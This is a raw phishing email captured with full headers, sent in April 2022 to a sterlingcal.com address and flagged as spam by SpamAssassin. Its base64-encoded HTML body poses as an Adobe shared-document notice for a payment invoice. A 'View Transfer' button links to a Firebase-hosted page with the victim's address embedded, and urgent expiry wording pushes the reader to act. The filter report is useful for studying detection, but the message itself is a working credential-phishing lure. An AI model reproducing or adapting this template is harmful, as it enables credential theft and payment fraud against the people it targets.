Return-Path: Delivered-To: andrew@sterlingcal.com Received: from reseller401.webserversystems.com by reseller401.webserversystems.com with LMTP id MHiLCJlMaWLvAQgAchKAPA for ; Wed, 27 Apr 2022 09:00:57 -0500 Return-path: Envelope-to: andrew@sterlingcal.com Delivery-date: Wed, 27 Apr 2022 09:00:57 -0500 Received: from [45.86.86.241] (port=51096 helo=ddfdfmondgrghjjg.com) by reseller401.webserversystems.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.93) (envelope-from ) id 1njiDv-002FY9-3S for andrew@sterlingcal.com; Wed, 27 Apr 2022 09:00:56 -0500 Received: from ddfdfmondgrghjjg.com (ddfdfmondgrghjjg.com [127.0.0.1]) by ddfdfmondgrghjjg.com (8.14.7/8.14.7) with ESMTP id 23RE0dBs012605 for ; Wed, 27 Apr 2022 17:00:39 +0300 Received: (from root@localhost) by ddfdfmondgrghjjg.com (8.14.7/8.14.7/Submit) id 23RE0dUf012582; Wed, 27 Apr 2022 17:00:39 +0300 Message-Id: <202204271400.23RE0dUf012582@ddfdfmondgrghjjg.com> Mime-Version: 1.0 Date: Wed, 27 Apr 2022 17:00:39 +0300 From: "donotreply_notifications@sterlingcal" To: andrew@sterlingcal.com ReplyTo: Content-Transfer-Encoding: base64 Content-Type: text/html; charset=UTF-8 X-Spam-Status: Yes, score=11.6 X-Spam-Score: 116 X-Spam-Bar: +++++++++++ X-Spam-Report: Spam detection software, running on the system "reseller401.webserversystems.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: View Transfer ADOBE Contract_Invoice_Authorize_Payment.pdf [...] Content analysis details: (11.6 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 URIBL_PH_SURBL Contains an URL listed in the PH SURBL blocklist [URIs: wedowa1.web.app] 0.4 NO_DNS_FOR_FROM DNS: Envelope sender has no MX or A DNS records 0.0 SPF_NONE SPF: sender does not publish an SPF Record 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail domains are different 0.0 SPF_HELO_NONE SPF: HELO does not publish an SPF Record 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.0 HTML_MESSAGE BODY: HTML included in message 2.5 DCC_CHECK No description available. 0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag -0.0 T_SCC_BODY_TEXT_LINE No description available. 3.0 URI_FIREBASEAPP Link to hosted firebase web application, possible phishing 1.7 FSL_BULK_SIG Bulk signature with no Unsubscribe 3.0 RDNS_NONE Delivered to internal network by a host with no rDNS X-Spam-Flag: YES Subject: [SPAM] Contract_Invoice_Authorize_Payment.pdf PHA+Jm5ic3A7PC9wPg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6ICdMdWNpZGEgU2FucycsICdM dWNpZGEgU2FucyBSZWd1bGFyJywgJ0x1Y2lkYSBHcmFuZGUnLCAnTHVjaWRhIFNhbnMgVW5pY29k ZScsIEdlbmV2YSwgVmVyZGFuYSwgc2Fucy1zZXJpZjsgd2lkdGg6IDU3MHB4OyBoZWlnaHQ6IDMy MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmZmZmOyBwYWRkaW5nLXRvcDogMjBweDsgYm9yZGVy OiAxLjVweCBzb2xpZCAjZWVlZWVlOyBtYXJnaW46IDIwcHggYXV0bzsgcG9zaXRpb246IHJlbGF0 aXZlOyI+DQo8ZGl2IHN0eWxlPSJhbGlnbi1pdGVtczogY2VudGVyOyBwYWRkaW5nLWxlZnQ6IDEw MHB4OyBwYWRkaW5nLXJpZ2h0OiA0MHB4OyA7ZGlzcGxheTogZmxleDsganVzdGlmeS1jb250ZW50 OiBmbGV4LWVuZDsiPjxhIGhyZWY9Imh0dHBzOi8vd2Vkb3dhMS53ZWIuYXBwP2VtYWlsPWFuZHJl d0BzdGVybGluZ2NhbC5jb20iPjxidXR0b24gc3R5bGU9IndpZHRoOiAxNTBweDsgaGVpZ2h0OiAz MHB4OyBmb250LXNpemU6IDEzcHg7IGJvcmRlci1yYWRpdXM6IDRweDsgY3Vyc29yOiBwb2ludGVy OyBiYWNrZ3JvdW5kLWNvbG9yOiAjZmYwMDAwOyBib3JkZXI6IDJweCBzb2xpZCAjNDRhZGIxOyBj b2xvcjogd2hpdGU7IiB0aXRsZT0iVmlldyBUcmFuc2ZlciI+VmlldyBUcmFuc2ZlcjwvYnV0dG9u PjwvYT48L2Rpdj4NCjxkaXY+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmYwMDAwOyBmb250LXNpemU6 IDE4cHg7IGZvbnQtd2VpZ2h0OiBib2xkZXI7IHdpZHRoOiAxMjBweDsgcG9zaXRpb246IGFic29s dXRlOyB0b3A6IDIwcHg7IGxlZnQ6IDIwcHg7Ij5BRE9CRTwvc3Bhbj48L2Rpdj4NCjxkaXYgc3R5 bGU9ImJvcmRlcjogMXB4IHNvbGlkICNlZWVlZWU7IG1hcmdpbjogMCBhdXRvOyB3aWR0aDogNTcw cHg7IHotaW5kZXg6IDc7IHBvc2l0aW9uOiByZWxhdGl2ZTsgaGVpZ2h0OiAyMzBweDsiPg0KPGRp diBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2Y3ZjdmNzsgaGVpZ2h0OiA4MHB4OyBhbGlnbi1p dGVtczogY2VudGVyOyBwYWRkaW5nLWxlZnQ6IDIzcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xp ZCAjZWVlZWVlOyI+DQo8cCBzdHlsZT0iZm9udC1zaXplOiAxNXB4OyBmb250LXdlaWdodDogYm9s ZDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogI2ZmMDAwMDsiPkNvbnRyYWN0X0ludm9pY2VfQXV0aG9y aXplX1BheW1lbnQucGRmPC9zcGFuPjxiciAvPjxiciAvPiA8c3BhbiBzdHlsZT0iZm9udC1zaXpl OiAxM3B4OyBjb2xvcjogIzAwMDAwMDYzOyI+MTQwLjMyIEtCIC0gRXhwaXJlcyBpbiAzIGRheXM8 L3NwYW4+PC9wPg0KPC9kaXY+DQo8ZGl2IHN0eWxlPSJwYWRkaW5nOiA1cHggMjBweDsgY29sb3I6 ICMwYTRmNTI7IGZvbnQtc2l6ZTogMTNweDsiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDE0cHg7 IGZvbnQtd2VpZ2h0OiBib2xkOyI+PGEgc3R5bGU9ImNvbG9yOiAjMTc1MTUzOyB0ZXh0LWRlY29y YXRpb246IG5vbmU7IiBocmVmPSIjIj5Db250cmFjdF9JbnZvaWNlX0F1dGhvcml6ZV9QYXltZW50 LnBkZjwvYT48L3NwYW4+DQo8cD5BY2NvdW50IHNhaWQ6IDxzcGFuIHN0eWxlPSJmb250LXN0eWxl OiBpdGFsaWM7Ij4gIlBsZWFzZSBjb25maXJtIGF0dGFjaGVkIGJlZm9yZSBJIHdpbGwgcHJvY2Vz cyBwYXltZW50LiI8L3NwYW4+IDxiciAvPiA8YnIgLz4gVGhlIHRyYW5zZmVyIHdpbGwgZXhwaXJl IGluIDYgZGF5cyBvbiBBcHJpbCAzMCwyMDIyLjwvcD4NCjwvZGl2Pg0KPC9kaXY+DQo8L2Rpdj4=